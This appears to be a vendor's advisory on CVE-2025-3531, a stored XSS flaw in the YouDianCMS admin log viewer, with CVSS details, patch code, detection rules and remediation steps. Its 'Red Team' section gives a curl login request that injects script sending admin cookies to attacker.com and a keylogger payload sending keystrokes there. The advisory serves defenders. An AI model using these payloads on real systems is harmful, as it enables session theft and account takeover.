CVE-2025-3531
Executive Summary
CVE-2025-3531 is a stored cross-site scripting (XSS) vulnerability in YouDianCMS version 9.5.21. The flaw resides in the file /App/Tpl/Admin/Default/Log/index.html, where the UserName and LogType parameters are not properly sanitized before being rendered in the admin log viewer. An attacker can inject arbitrary JavaScript into these fields, which will execute when an administrator views the log page. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The exploit has been publicly disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP-based CMS (YouDianCMS). No supply chain implications are present.
CVSS Breakdown & Threat Level
CVSS Score: 4.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required (admin must view the log page)
Scope: Unchanged
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: None
Threat Level: Medium – The attack requires user interaction (admin viewing logs), but the exploit is public and no patch exists.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The file /App/Tpl/Admin/Default/Log/index.html renders log entries that include the UserName and LogType fields. These fields are not sanitized or encoded before being output to the HTML page. An attacker can craft a malicious request (e.g., via a login attempt with a malicious username) that stores a JavaScript payload in the log. When an administrator navigates to the log viewer, the payload executes in the context of the admin session.
Root Cause: Lack of output encoding for user-controlled data in the log view template.
Attack Flow:
- Attacker sends a request to the CMS login endpoint with a
UserNameparameter containing a JavaScript payload (e.g.,<script>alert('XSS')</script>). - The CMS logs the failed login attempt, storing the malicious username in the database.
- An administrator visits
/App/Tpl/Admin/Default/Log/index.htmlto review logs. - The log viewer renders the stored username without sanitization, executing the attacker's script.
- The script can steal session cookies, perform actions on behalf of the admin, or deface the admin panel.
Vulnerable vs. Patched Code
Vulnerable Code (YouDianCMS 9.5.21):
// In the log view template (index.html)
<tr>
<td><?php echo $log['UserName']; ?></td>
<td><?php echo $log['LogType']; ?></td>
</tr>
Patched Code (Hypothetical):
<tr>
<td><?php echo htmlspecialchars($log['UserName'], ENT_QUOTES, 'UTF-8'); ?></td>
<td><?php echo htmlspecialchars($log['LogType'], ENT_QUOTES, 'UTF-8'); ?></td>
</tr>
The fix requires using htmlspecialchars() (or equivalent) to encode HTML special characters before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- YouDianCMS 9.5.21 running on a target server.
- Access to the login page (e.g.,
/index.php?m=Admin&c=Login).
Exploit Steps:
- Send a login request with a malicious
UserName:curl -X POST "http://target/index.php?m=Admin&c=Login&a=login" \ -d "UserName=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&Password=test" - Wait for an admin to view the log page at
/App/Tpl/Admin/Default/Log/index.html. - The script executes, exfiltrating the admin's session cookie to the attacker's server.
Alternative Payload (Keylogger):
document.onkeypress = function(e) {
fetch('http://attacker.com/keylog?key=' + e.key);
};
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual characters in
UserNameorLogTypefields in logs (e.g.,<script>,onerror=,javascript:). - Alert on admin log page views that trigger outbound connections to unknown domains.
Hardening:
- Apply a WAF rule to block XSS payloads in login parameters.
- Manually patch the template file to use
htmlspecialchars(). - Restrict access to the admin log page to trusted IPs only.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/index.php?m=Admin&c=Login&a=loginwithUserNamecontaining<script>oronerror=patterns. - Outbound HTTP requests from the CMS server to unknown domains (e.g.,
attacker.com/steal?cookie=...).
File IOCs:
- Modified
/App/Tpl/Admin/Default/Log/index.html(if attacker alters the template). - Suspicious entries in the CMS log database table with JavaScript in
UserNameorLogType.
Log IOCs:
- Admin log page access logs showing unusual referrers or user agents.
- Repeated failed login attempts with non-standard usernames.
Detection Engineering
YARA Rule
rule Detect_YouDianCMS_XSS_Log_Inject {
meta:
description = "Detects XSS payloads in YouDianCMS log entries"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-3531"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_onerror = /onerror\s*=\s*["']?[^"']*["']?/i
$xss_javascript = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: YouDianCMS Stored XSS in Log Viewer
id: 8a3f2c1e-5d7b-4a9c-8f6e-2b1d3c4e5f6a
status: experimental
description: Detects XSS payloads in UserName or LogType fields in YouDianCMS logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'index.php?m=Admin&c=Login&a=login'
cs-username|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate usernames containing similar patterns (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-3531 YouDianCMS Stored XSS Payload in Login";
flow:to_server,established;
content:"POST"; http_method;
content:"index.php?m=Admin&c=Login&a=login"; http_uri;
content:"UserName="; nocase;
pcre:"/UserName=[^&]*<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2025-3531;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Manual Patch: Edit
/App/Tpl/Admin/Default/Log/index.htmland wrap$log['UserName']and$log['LogType']withhtmlspecialchars(). - WAF Rule: Deploy a WAF rule to block XSS patterns in login parameters.
- Access Control: Restrict admin log page access to trusted IPs.
Long-Term:
- Migrate to a supported CMS or apply a comprehensive security audit.
- Implement input validation and output encoding across all user-facing fields.
- Monitor for vendor updates (unlikely given unresponsiveness).
Workaround: Disable log viewing for non-admin roles and use a separate log monitoring tool.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst